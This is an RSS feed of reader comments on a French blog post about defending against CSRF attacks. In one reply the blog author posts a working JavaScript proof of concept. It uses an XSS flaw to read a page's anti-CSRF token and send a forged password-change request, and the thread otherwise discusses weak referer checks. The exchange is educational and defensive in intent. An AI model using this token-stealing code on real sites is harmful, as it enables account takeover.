<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Commentaires sur : Se protéger contre les attaques CSRF Injection</title>
	<atom:link href="http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html</link>
	<description>Another Web Developper Blog!</description>
	<lastBuildDate>Tue, 31 Aug 2010 23:30:53 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>Par : El King Zizou</title>
		<link>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html/comment-page-1#comment-211</link>
		<dc:creator>El King Zizou</dc:creator>
		<pubDate>Fri, 21 May 2010 00:20:59 +0000</pubDate>
		<guid isPermaLink="false">http://mcherifi.org/?p=44#comment-211</guid>
		<description>trés bonne explication j&#039;aimerai bien voir des autres articles des attaques sur le web :)
 alert(&#039;i&#039;m hacking u &#039;); :p</description>
		<content:encoded><![CDATA[<p>trés bonne explication j&#8217;aimerai bien voir des autres articles des attaques sur le web :)<br />
 alert(&#8216;i&#8217;m hacking u &#8216;); :p</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : Iss4m</title>
		<link>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html/comment-page-1#comment-53</link>
		<dc:creator>Iss4m</dc:creator>
		<pubDate>Mon, 14 Sep 2009 04:23:51 +0000</pubDate>
		<guid isPermaLink="false">http://mcherifi.org/?p=44#comment-53</guid>
		<description>merci bcp Simo :)</description>
		<content:encoded><![CDATA[<p>merci bcp Simo :)</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : Mohammed CHERIFI</title>
		<link>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html/comment-page-1#comment-51</link>
		<dc:creator>Mohammed CHERIFI</dc:creator>
		<pubDate>Sat, 12 Sep 2009 17:56:57 +0000</pubDate>
		<guid isPermaLink="false">http://mcherifi.org/?p=44#comment-51</guid>
		<description>@zak, ce n&#039;est pas l&#039;administrateur qui &quot;intègre&quot; le code malveillant dans ses pages, la page X sur le site A(attaquant) contenant le code malveillant est crée par l&#039;attaquant, ce dernier amène l&#039;administrateur du site (B) à la visiter, une fois c&#039;est fait, le code présent sur la page X sera exécuté avec les droits dont ce dernier possède</description>
		<content:encoded><![CDATA[<p>@zak, ce n&#8217;est pas l&#8217;administrateur qui &laquo;&nbsp;intègre&nbsp;&raquo; le code malveillant dans ses pages, la page X sur le site A(attaquant) contenant le code malveillant est crée par l&#8217;attaquant, ce dernier amène l&#8217;administrateur du site (B) à la visiter, une fois c&#8217;est fait, le code présent sur la page X sera exécuté avec les droits dont ce dernier possède</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : zak</title>
		<link>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html/comment-page-1#comment-41</link>
		<dc:creator>zak</dc:creator>
		<pubDate>Wed, 09 Sep 2009 10:14:35 +0000</pubDate>
		<guid isPermaLink="false">http://mcherifi.org/?p=44#comment-41</guid>
		<description>Bnjr,
d&#039;après ce billet ce genre d&#039;attacks est est inclue dans le code html (entre les balises  ) la question qui se pose c&#039;est comment ce code mal veillant arrivera sur la page tant que l&#039;administrateur ou le développeur ne l&#039;a pas intégrer lui même...</description>
		<content:encoded><![CDATA[<p>Bnjr,<br />
d&#8217;après ce billet ce genre d&#8217;attacks est est inclue dans le code html (entre les balises  ) la question qui se pose c&#8217;est comment ce code mal veillant arrivera sur la page tant que l&#8217;administrateur ou le développeur ne l&#8217;a pas intégrer lui même&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : Sirius34</title>
		<link>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html/comment-page-1#comment-25</link>
		<dc:creator>Sirius34</dc:creator>
		<pubDate>Fri, 21 Aug 2009 16:33:59 +0000</pubDate>
		<guid isPermaLink="false">http://mcherifi.org/?p=44#comment-25</guid>
		<description>Un petit exemple d&#039;utilisation :

http://blog.quaji.com/2009/08/facebook-csrf-attack-full-disclosure.html

Enjoy !</description>
		<content:encoded><![CDATA[<p>Un petit exemple d&#8217;utilisation :</p>
<p><a href="http://blog.quaji.com/2009/08/facebook-csrf-attack-full-disclosure.html" rel="nofollow">http://blog.quaji.com/2009/08/facebook-csrf-attack-full-disclosure.html</a></p>
<p>Enjoy !</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : Rimka</title>
		<link>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html/comment-page-1#comment-19</link>
		<dc:creator>Rimka</dc:creator>
		<pubDate>Fri, 07 Aug 2009 22:06:53 +0000</pubDate>
		<guid isPermaLink="false">http://mcherifi.org/?p=44#comment-19</guid>
		<description>j&#039;ai bien aimé l&#039;explication, merci bcp.</description>
		<content:encoded><![CDATA[<p>j&#8217;ai bien aimé l&#8217;explication, merci bcp.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : reda</title>
		<link>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html/comment-page-1#comment-17</link>
		<dc:creator>reda</dc:creator>
		<pubDate>Fri, 07 Aug 2009 14:05:28 +0000</pubDate>
		<guid isPermaLink="false">http://mcherifi.org/?p=44#comment-17</guid>
		<description>Very nice thing ; Will help lot to avoid attacks</description>
		<content:encoded><![CDATA[<p>Very nice thing ; Will help lot to avoid attacks</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : Mohammed CHERIFI</title>
		<link>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html/comment-page-1#comment-16</link>
		<dc:creator>Mohammed CHERIFI</dc:creator>
		<pubDate>Fri, 07 Aug 2009 13:11:55 +0000</pubDate>
		<guid isPermaLink="false">http://mcherifi.org/?p=44#comment-16</guid>
		<description>@Updel
Il ne faut pas oublié que toute l&#039;opération se déroule sur la machine du client, et non pas celle de l&#039;attaquant, ça veux dire à la visite de la page de confirmation le tokenid est généré est attribué à une variable de session $_SESSION[&#039;tokenid&#039;], ce dérnier est vérifié dans la deuxième page qui check à son tour le referer pour s&#039;assurer que le visiteur provient du même site!

Même si on arrive à modifier le referer on ne pourra pas forgé la requête puisque le tokenid est stocké dans un cookie sur la machine du client 

A ma connaissance,Il est possible de contourner les deux protection dans un seul cas: si l&#039;attaquant posséde une faille XSS sur le même site! 

voici un proof of concept en javascript pour injecter un code qui permetera de récuperer le tokenid depuis la page de confirmation puis forger une deuxième requête pour modifier le passe:

if(window.XMLHttpRequest)
xhr_object = new XMLHttpRequest();
else if(window.ActiveXObject)
xhr_object = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot; );
// on appelle la page de confirmation
xhr_object.open(&quot;GET&quot;, &quot;change_password_confirm.php&quot;, false);
xhr_object.send(null);

if(xhr_object.readyState == 4) {
	// on récupere le tokenid depuis le champs caché tokenid
	if(tokenidparts = xhr_object.responseText.match(/name=&quot;tokenid&quot; value=&quot;([0-9a-f]{32})&quot;/i)){
		dumped_tokenid = tokenidparts[1]
		//On forge une dexuieme requête pour modifier le passe du client
		postdata = &quot;new_password=pwn3d&amp;new_password_confirm=pwn3d&amp;tokenid=&quot;+dumped_tokenid ;
		xhr_object.open(&quot;POST&quot;, &quot;/user/change_password.html&quot;, false);
		xhr_object.send(postdata);
		// et voilà le passe est changé ;)
	}
};

Donc, comme j&#039;ai dit faut être vigilant et ne pas faire confiance au données récuperé par le client! bien parser toute chaine de caractère avant de l&#039;afficher pour éviter les XSS, pour info le worm &quot;samy&quot; qui a infecté des milliers de page sur myspace été le resultat d&#039;une combinaison d&#039;une XSS avec une CSRF!</description>
		<content:encoded><![CDATA[<p>@Updel<br />
Il ne faut pas oublié que toute l&#8217;opération se déroule sur la machine du client, et non pas celle de l&#8217;attaquant, ça veux dire à la visite de la page de confirmation le tokenid est généré est attribué à une variable de session $_SESSION['tokenid'], ce dérnier est vérifié dans la deuxième page qui check à son tour le referer pour s&#8217;assurer que le visiteur provient du même site!</p>
<p>Même si on arrive à modifier le referer on ne pourra pas forgé la requête puisque le tokenid est stocké dans un cookie sur la machine du client </p>
<p>A ma connaissance,Il est possible de contourner les deux protection dans un seul cas: si l&#8217;attaquant posséde une faille XSS sur le même site! </p>
<p>voici un proof of concept en javascript pour injecter un code qui permetera de récuperer le tokenid depuis la page de confirmation puis forger une deuxième requête pour modifier le passe:</p>
<p>if(window.XMLHttpRequest)<br />
xhr_object = new XMLHttpRequest();<br />
else if(window.ActiveXObject)<br />
xhr_object = new ActiveXObject(&laquo;&nbsp;Microsoft.XMLHTTP&nbsp;&raquo; );<br />
// on appelle la page de confirmation<br />
xhr_object.open(&laquo;&nbsp;GET&nbsp;&raquo;, &laquo;&nbsp;change_password_confirm.php&nbsp;&raquo;, false);<br />
xhr_object.send(null);</p>
<p>if(xhr_object.readyState == 4) {<br />
	// on récupere le tokenid depuis le champs caché tokenid<br />
	if(tokenidparts = xhr_object.responseText.match(/name=&nbsp;&raquo;tokenid&nbsp;&raquo; value=&nbsp;&raquo;([0-9a-f]{32})&nbsp;&raquo;/i)){<br />
		dumped_tokenid = tokenidparts[1]<br />
		//On forge une dexuieme requête pour modifier le passe du client<br />
		postdata = &laquo;&nbsp;new_password=pwn3d&#038;new_password_confirm=pwn3d&#038;tokenid=&nbsp;&raquo;+dumped_tokenid ;<br />
		xhr_object.open(&laquo;&nbsp;POST&nbsp;&raquo;, &laquo;&nbsp;/user/change_password.html&nbsp;&raquo;, false);<br />
		xhr_object.send(postdata);<br />
		// et voilà le passe est changé ;)<br />
	}<br />
};</p>
<p>Donc, comme j&#8217;ai dit faut être vigilant et ne pas faire confiance au données récuperé par le client! bien parser toute chaine de caractère avant de l&#8217;afficher pour éviter les XSS, pour info le worm &laquo;&nbsp;samy&nbsp;&raquo; qui a infecté des milliers de page sur myspace été le resultat d&#8217;une combinaison d&#8217;une XSS avec une CSRF!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : Updel</title>
		<link>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html/comment-page-1#comment-15</link>
		<dc:creator>Updel</dc:creator>
		<pubDate>Fri, 07 Aug 2009 12:07:34 +0000</pubDate>
		<guid isPermaLink="false">http://mcherifi.org/?p=44#comment-15</guid>
		<description>Si on appelle la page de confirmation on va créer le tockin, donc si on le récupère on peut facilement ajouter un nouveau champ à la form.

Et si on inverser les choses :
Par exemple dans notre page de confirmation on défini un referer genre &quot;JeSuisUnRefererQuiNexistePas.Je.Taime.Simo&quot; et lors de l&#039;opération on vérifi si c&#039;est bien le referer 

if (isset($_SERVER[&#039;HTTP_REFERER&#039;]) &amp;&amp; $_SERVER[&#039;HTTP_REFERER&#039;] == &#039;JeSuisUnRefererQuiNexistePas.Je.Taime.Simo&#039;) {
// on efféctue le traitement
}
else {
//die(&quot;Vous ne pouvez pas venir ici!&quot;);
}

C&#039;est banal comme solution :D je sais</description>
		<content:encoded><![CDATA[<p>Si on appelle la page de confirmation on va créer le tockin, donc si on le récupère on peut facilement ajouter un nouveau champ à la form.</p>
<p>Et si on inverser les choses :<br />
Par exemple dans notre page de confirmation on défini un referer genre &laquo;&nbsp;JeSuisUnRefererQuiNexistePas.Je.Taime.Simo&nbsp;&raquo; et lors de l&#8217;opération on vérifi si c&#8217;est bien le referer </p>
<p>if (isset($_SERVER['HTTP_REFERER']) &amp;&amp; $_SERVER['HTTP_REFERER'] == &#8216;JeSuisUnRefererQuiNexistePas.Je.Taime.Simo&#8217;) {<br />
// on efféctue le traitement<br />
}<br />
else {<br />
//die(&laquo;&nbsp;Vous ne pouvez pas venir ici!&nbsp;&raquo;);<br />
}</p>
<p>C&#8217;est banal comme solution :D je sais</p>
]]></content:encoded>
	</item>
	<item>
		<title>Par : Updel</title>
		<link>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html/comment-page-1#comment-14</link>
		<dc:creator>Updel</dc:creator>
		<pubDate>Fri, 07 Aug 2009 11:29:20 +0000</pubDate>
		<guid isPermaLink="false">http://mcherifi.org/?p=44#comment-14</guid>
		<description>Je me rappelle avoir déjà vécu ça avec le BBcode, seulement je ne connaissais pas le fonctionnement de cet exploit, j&#039;ai longtemps cru que les navigateurs ne pouvaient pas exécuter des codes à partir des balises de types img ou span gracieuse info merci. 

La question qui me vient à l&#039;esprit c&#039;est :
Est-ce possible de cassé cette sécurité si on contourne le referer et on explode le tockin, qui sait ??!! un ordinateur sécurisé est un ordinateur éteint</description>
		<content:encoded><![CDATA[<p>Je me rappelle avoir déjà vécu ça avec le BBcode, seulement je ne connaissais pas le fonctionnement de cet exploit, j&#8217;ai longtemps cru que les navigateurs ne pouvaient pas exécuter des codes à partir des balises de types img ou span gracieuse info merci. </p>
<p>La question qui me vient à l&#8217;esprit c&#8217;est :<br />
Est-ce possible de cassé cette sécurité si on contourne le referer et on explode le tockin, qui sait ??!! un ordinateur sécurisé est un ordinateur éteint</p>
]]></content:encoded>
	</item>
</channel>
</rss>
